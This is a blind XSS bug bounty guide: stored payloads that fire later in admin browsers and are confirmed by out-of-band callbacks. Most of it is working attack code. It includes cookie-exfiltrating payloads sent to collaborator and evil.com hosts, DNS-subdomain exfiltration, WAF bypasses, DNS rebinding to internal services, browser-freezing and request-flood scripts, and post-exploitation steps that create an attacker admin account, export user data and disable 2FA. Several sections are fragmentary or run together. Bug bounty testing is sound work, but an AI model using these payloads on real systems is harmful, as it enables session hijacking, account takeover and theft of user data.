Blind XSS Bug Bounty Guide

Finding XSS Where the Payload is Stored and Executed Later

Out-of-Band OAST Callbacks Automation

May 2026

📑 Table of Contents

👁 1. What is Blind XSS

Blind XSS is a variant of Stored XSS where the attacker submits a payload to the application, but the payload is executed in a different context (user, admin, backend) that the attacker cannot directly observe. The attacker must use out-of-band detection techniques to confirm execution.

🔑 Blind vs Reflected vs Stored

Type	Storage	Execution Visibility	Detection Method
Reflected XSS	None	Immediate in attacker browser	Popup, DOM inspection
Stored XSS	Database/file	Immediate in attacker browser	Popup, DOM inspection
Blind XSS	Database/file	Hidden (admin/backend/another user)	**Callback/OOB only**

🔑 Why Blind XSS is High Impact

- Typically executes in **administrator sessions** with higher privileges
- Can compromise **internal dashboards** not accessible to normal users
- May bypass **stronger CSP policies** on public-facing pages
- Often found in **support tickets, reviews, logs** that get processed by staff
- Can lead to **full application takeover** if executed on admin panel

🔑 The Blind XSS Lifecycle

```
1. Attacker submits payload to input field (contact form, ticket, review)
2. Application stores payload in database / backend system
3. Admin / staff / backend user views stored content (dashboard, export, log viewer)
4. Payload executes in victim browser (admin session)
5. Callback fires to attacker server (DNS / HTTP out-of-band)
6. Attacker receives confirmation with victim data (cookies, screenshot, IP)
7. Attacker crafts follow-up exploit for admin panel access
```

⚠ **Warning:** Blind XSS is often **Critical severity** when it executes on admin panels with session hijacking potential. Always escalate admin-panel blind XSS.

-> Build log renders HTML -> XSS in Jenkins UI

✅ **Pro Tip:** The highest-impact blind XSS targets are **support ticket systems** and **contact forms** because they almost always route to an admin dashboard. Test every input field with a callback payload.

🔑 Method 2: Interactsh (Open Source)

```
# Free open-source alternative to Burp Collaborator
# Install: go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# Start client
interactsh-client
# Output: [INF] Listing 5 payload(s) for OOB testing
# Output: [INF] c23f2l0g27j5v6eo9i3gcf68q6y9yy9c8.interactsh.net

# Use the generated URL in payload
<script src=//c23f2l0g27j5v6eo9i3gcf68q6y9yy9c8.interactsh.net></script>
<img src=x onerror=fetch("//c23f2l0g27j5v6eo9i3gcf68q6y9yy9c8.interactsh.net/?c="+document.cookie)>

# DNS-only callback (bypasses strict firewalls)
<script>var i=new Image;i.src="//"+document.cookie+".c23f2l0g27j5v6eo9i3gcf68q6y9yy9c8.interactsh.net"</script>

# Wait for callback in interactsh output
# [c23f2l0g27j5v6eo9i3gcf68q6y9yy9c8] Received DNS interaction from 203.0.113.1
```

🔑 Method 3: Custom Callback Server

```
# Python HTTP callback server
python3 -c "from http.server import HTTPServer, BaseHTTPRequestHandler
class H(BaseHTTPRequestHandler):
  def do_GET(self): print(f[+] {self.client_address[0]} → {self.path}"); self.send_response(200);
self.end_headers()
  def log_message(self, format, *args): pass
HTTPServer(("",8080),H).serve_forever()"

# Netcat listener (simplest)
nc -lvnp 8080

# Ngrok for external reachability
ngrok http 8080
# Use https://YOUR_NGROK.ngrok.io as callback URL
```

🔑 Method 4: DNS Callback (Most Firewall-Friendly)

```
# DNS callbacks bypass most firewalls because outbound DNS is rarely blocked
# Technique: Subdomain exfiltration
<script>
var d=document.domain; var c=document.cookie.substring(0,60);
var i=new Image;
i.src="//"+btoa(c)+"."+btoa(d)+".YOUR_COLLAB.net"
</script>

# If cookie is too long for subdomain, split into chunks
<script>
var c=document.cookie; var parts=c.match(/.{1,60}/g);
```

```
for(var i=0;i<parts.length;i++){
  var img=new Image();
  img.src="//"+btoa(parts[i])+".p"+i+".YOUR_COLLAB.net";
}
</script>

# dig/whois monitoring for DNS callbacks
tcpdump -i any port 53 -n | grep "xss.yourdomain.com"

# dnsmasq logging
log-queries
log-facility=/var/log/dnsmasq.log
tail -f /var/log/dnsmasq.log | grep xss
```

🔑 Method 5: Email Callback (When Web is Blocked)

```
# If outbound HTTP/DNS is completely blocked, try email
# Some admin panels trigger email notifications when viewing certain data
<script>
var c=document.cookie; var d=document.domain;
window.location="mailto:xss@YOUR_DOMAIN.com?subject="+d+"&body="+c;
</script>

# Alternative: Trigger external email service signup
<img src=x onerror="fetch('https://api.sendgrid.com/v3/mail/send',
{method:'POST',body:JSON.stringify({personalizations:[{to:
[{email:'xss@yourdomain.com'}]}],subject:document.domain,content:[{type:'text/plain',value:document.cookie}]})})">
```

> 💡 **Best Practice:** Use **Burp Collaborator** or **Interactsh** as your primary callback. Set up a **custom callback server** as backup for high-volume testing. Always use **DNS callbacks** as fallback when HTTP is blocked.

13. JS escape sequences (if injected into JS context) \x3cimg src=x onerror=\x66\x65\x74\x63\x68(\x22//COLLAB.net\x22)\x3e ## 14. Template literal (if inside backtick string) ${fetch("//COLLAB.net/?c="+document.cookie)} ## 15. Data URI base64 (if direct JS execution blocked) javascript:fetch("//COLLAB.net/?c="+document.cookie) ## 16. No angle brackets (attribute breakout variant) " onerror="fetch('//COLLAB.net/?c='+document.cookie)" y="

🔑 Context-Specific Blind XSS Payloads

Context	Payload	Notes
HTML Body	<img src=x onerror=fetch("//COLLAB/?c="+document.cookie)>	Most reliable across contexts
HTML Attribute (double quoted)	" onerror=fetch("//COLLAB/?c="+document.cookie) x="	Breaks out of value="..."

HTML Attribute (single quoted)	' onerror=fetch("//COLLAB/?c="+document.cookie) x='	Breaks out of value='...'
JavaScript string (double)	";fetch("//COLLAB/?c="+document.cookie);//	Closes string, executes, comments rest
JavaScript string (single)	';fetch("//COLLAB/?c="+document.cookie);//	Same for single-quoted strings
JavaScript template literal	${fetch("//COLLAB/?c="+document.cookie)}	Executes inside backtick strings
URL / href	javascript:fetch("//COLLAB/?c="+document.cookie)	Protocol-based execution
CSS injection	}</style><img src=x onerror=fetch("//COLLAB")>	Escapes CSS block into HTML
JSON response (rendered as HTML)	"}</script><script>fetch("//COLLAB")</script>	Breaks JSON then JS context

🔶 **Golden Rule:** For blind XSS, always use **<img src=x onerror=...>** as your primary payload. It works in HTML body, inside attributes (with breakout), and is stealthier than <script> tags that admins might notice in stored data.

🔑 Technique 1: Multi-Stage Callbacks

```
# Stage 1: Confirm execution with minimal callback
<img src=x onerror=new Image().src="//STAGE1.collab.net">
# If you receive callback, execution confirmed

# Stage 2: Extract cookies with full callback
<img src=x onerror="new Image().src='//STAGE2.collab.net/?c='+document.cookie">

# Stage 3: Perform admin action + callback
<img src=x onerror="fetch('/admin/users').then(r⇒r.text()).then(t⇒new Image().src='//STAGE3.collab.net/?h='+btoa(t))">

# Benefit: If Stage 1 fires but Stage 2/3 do not, you know:
# - XSS executes (good)
# - But cookie extraction is blocked (CSP / HttpOnly / domain restriction)
```

🔑 Technique 2: Time-Based Blind XSS

```
# If callbacks are completely blocked, use time delay
# SLEEP payload: hangs the browser for 10 seconds
<script>setTimeout(function(){},10000)</script>
```

```
# If the admin dashboard loads noticeably slower after your payload,
# it means the XSS executed (even without callback confirmation)

# More aggressive: intentional infinite loop
<script>while(true){}</script>  # Tab freezes = JS executed

# CPU burn (detectable via server metrics if admin reports)
<script>for(var i=0;i<999999999;i++)Math.sqrt(i)</script>

# Network flood (detectable via server logs)
<script>for(var i=0;i<1000;i++)fetch('/')</script>
```

🔑 Technique 3: DOM Pollution Detection

```
# Change the DOM in a way that affects the public site
# If the public page shows admin-edited content:

# Change page title (visible to all users)
<img src=x onerror=document.title="HACKED_BY_XSS">

# Change background color
<img src=x onerror=document.body.style.background="red">

# Inject visible element
<img src=x onerror="document.body.innerHTML+='<h1>XSS_CONFIRMED</h1>'">

# If you see these changes on the public site, the admin executed your XSS
# when they reviewed/approved your content
```

🔑 Technique 4: DNS Rebinding + Internal Access

```
# Advanced: Use DNS rebinding to access internal services
# after blind XSS executes on admin panel

<script>
// Wait for DNS TTL to expire, then rebind to internal IP
var rebinder="http://xss.rebinder.yourdomain.com";
fetch(rebinder+":8080/admin")  // Internal Jenkins/admin
.then(r=>r.text())
.then(t=>fetch("//collab.net/?i="+btoa(t)))
</script>

# Requirements:
# 1. Admin browser vulnerable to DNS rebinding (most are)
# 2. Your DNS server returns low TTL then switches to internal IP
# 3. Internal service does not check Host header

# Tools: singularity, dnsrebindtoolkit
```

🔑 Technique 5: WebRTC IP Leak + Callback

```
# Extract internal IP even behind VPN/NAT
<script>
var pc=new RTCPeerConnection({iceServers:[]});
pc.createDataChannel("");
pc.createOffer().then(o⇒pc.setLocalDescription(o));
pc.onicecandidate=e⇒{
  if(e&&e.candidate&&e.candidate.candidate){
    var ip=e.candidate.candidate.match(/([0-9]{1,3}\.){3}[0-9]{1,3}/)[0];
    fetch("//COLLAB.net/?ip="+ip+"&c="+document.cookie);
  }
};
</script>

# This reveals:
# - Admin internal IP (behind corporate firewall)
# - Admin browser cookies
# - Network topology for lateral movement
```

> ⚠ **Ethics Warning:** DNS rebinding and internal network access techniques should only be used to demonstrate impact in a controlled manner. Do not exfiltrate sensitive internal data beyond what is needed to prove vulnerability.

done; done # Monitor callbacks with interactsh in background interactsh-client | tee interactsh.log & # After 24-48 hours, grep for interactions grep "Received" interactsh.log

🔑 Admin-Specific Exploitation After Blind XSS Fires

```
# Once you receive callback from admin panel, pivot to admin actions:

# 1. Check if admin session is accessible
fetch("/admin/dashboard").then(r⇒r.text()).then(t⇒callback(t))

# 2. Enumerate admin endpoints
for admin_path of ["/admin/users","/admin/settings","/admin/api","/admin/config"]
  fetch(admin_path).then(r⇒r.status==200&&callback(admin_path+"-accessible"))

# 3. Add new admin user (if API allows)
fetch("/admin/api/users",{
  method:"POST",
  headers:{"Content-Type":"application/json"},
  body:JSON.stringify({email:"attacker@evil.com",role:"admin",password:"Pwned123!"})
}).then(r⇒callback("admin-created:"+r.status))

# 4. Export user database
fetch("/admin/export/users?format=csv").then(r⇒r.text()).then(t⇒callback(btoa(t)))

# 5. Disable 2FA for target account
fetch("/admin/api/users/123/disable-2fa",{method:"POST"}).then(r⇒callback("2fa-disabled"))
```

```
# 6. Modify application settings (redirect URLs, webhooks)
fetch("/admin/api/settings",{
  method:"POST",
  body:JSON.stringify({webhook_url:"https://evil.com/webhook",email_provider:"attacker-controlled"})
}).then(r⇒callback("settings-modified"))

# 7. Inject backdoor into templates (if template editing exists)
fetch("/admin/api/templates/footer",{
  method:"POST",
  body:JSON.stringify({content:""})
}).then(r⇒callback("backdoor-injected"))
```

> ⚠ **Critical:** Blind XSS on admin panels is typically rated **Critical (9.0-10.0 CVSS)** because it can lead to complete application compromise. Always include admin action demonstration in your report.

🔑 Stage 1: Input Validation Bypass

```
# WAF blocks  → 403 Forbidden
2. Bypass payload ACCEPTED by WAF:
    → 200 OK
3. Payload stored in ticket #12345
4. Admin views ticket → XSS executes
5. Out-of-band callback confirms execution with admin cookie

WAF BYPASS DETAILS:
- WAF Rule: Script Tag Detection (Rule ID: 100173)
- Bypass: HTML entity encoding of event handler content
- Root cause: WAF inspects raw input but application entity-decodes before rendering

IMPACT: Same as Template 2 (admin session compromise)
REMEDIATION: Same + fix WAF normalization to decode before inspection
```

curl -s -H "$h:  " https://target.com/; done # ========== CALLBACK MONITORING ========== # Simple HTTP listener python3 -m http.server 8080 # Netcat listener nc -lvnp 8080 # Interactsh (recommended) interactsh-client | tee -a blind_xss_callbacks.log # DNS-only monitoring tcpdump -i any port 53 -n -l | grep "COLLAB_DOMAIN" # ========== CONFIRMATION & ANALYSIS ========== # Check if callback received admin cookie grep "cookie" blind_xss_callbacks.log | head -5 # Extract domain from callback grep "domain" blind_xss_callbacks.log # Check for multiple callbacks (admin + staff) cat blind_xss_callbacks.log | cut -d" " -f1 | sort | uniq -c | sort -rn # Time-based confirmation (if callbacks blocked) curl -s -w "%{time_total}" -o /dev/null "https://target.com/admin" # Slow = XSS may have fired # ========== AUTOMATED TOOLS ========== # Dalfox blind XSS mode dalfox url "https://target.com/contact" --blind https://COLLAB.net -p name,email,message # XSStrike with blind callback python3 xsstrike.py -u "https://target.com/contact" --crawl --blind COLLAB.net # bxss automated injection bxss -appendMode -payload "" -parameters "name,email,message"

📋 11. Quick Reference Cheat Sheet

🎯 Top 10 Blind XSS Targets

1. Contact / Support forms
2. User reviews & ratings
3. Comment systems
4. Job applications / resumes
5. User bio / about me
6. Shipping / billing address
7. Admin log viewer (User-Agent)
8. Admin notification emails
9. Import / CSV upload preview
10. Chat / live support messages

📡 Callback Priority

1. Burp Collaborator (fastest, most info)
2. Interactsh (free, open source)
3. Custom HTTP server (full control)
4. DNS callback (firewall bypass)
5. Email callback (last resort)

💣 Payload Priority

1. <img src=x onerror=fetch("//COLLAB")>
2. <script src=//COLLAB></script>
3. <svg onload=fetch("//COLLAB")>
4. <input autofocus onfocus=fetch("//COLLAB")>
5. ";fetch("//COLLAB");// (JS context)
6. ${fetch("//COLLAB")} (template literal)
7. " onerror=fetch("//COLLAB") x=" (attribute)

⚠ Severity Guide

Context	Severity
Public page stored XSS	Medium
Contact form -> admin	High
Admin log viewer	High-Critical
Admin dashboard	Critical
Admin + session hijack	Critical
Admin + full takeover	Critical 9.0+

🔑 Detection Confirmation Checklist

```
[ ] Payload submitted successfully (no client-side validation error)
[ ] Payload stored in database (check response for success indicator)
[ ] Out-of-band callback received (DNS or HTTP)
[ ] Callback contains expected data (cookie/domain/URL)
[ ] Callback source is admin/internal IP (not your own)
[ ] Multiple callbacks = multiple victims (staff + admin)
```

```
[ ] Time-based confirmation (if callbacks blocked)
[ ] DOM pollution visible on public page (if admin action modifies site)
[ ] Admin action demonstrated (create user, export data, modify settings)
[ ] Screenshots or logs as evidence

REPORT READY when: [ ] + [ ] + [ ] + [ ] + [ ] checked
```

🔑 Time-to-Callback Expectations

Target Type	Typical Delay	Max Wait Time
Contact / Support form	5 min - 24 hours	72 hours
User review / comment	1 hour - 7 days	14 days
Job application	1 day - 30 days	60 days
Log viewer (User-Agent)	Minutes - hours	24 hours
Email notification	Minutes - hours	24 hours
Analytics dashboard	1 hour - 1 week	30 days
Import / CSV preview	Minutes - hours	24 hours

> 💡 **The Blind XSS Formula:**
> Storage Point + Callback Payload + Patience + Confirmation = **High/Critical Bounty**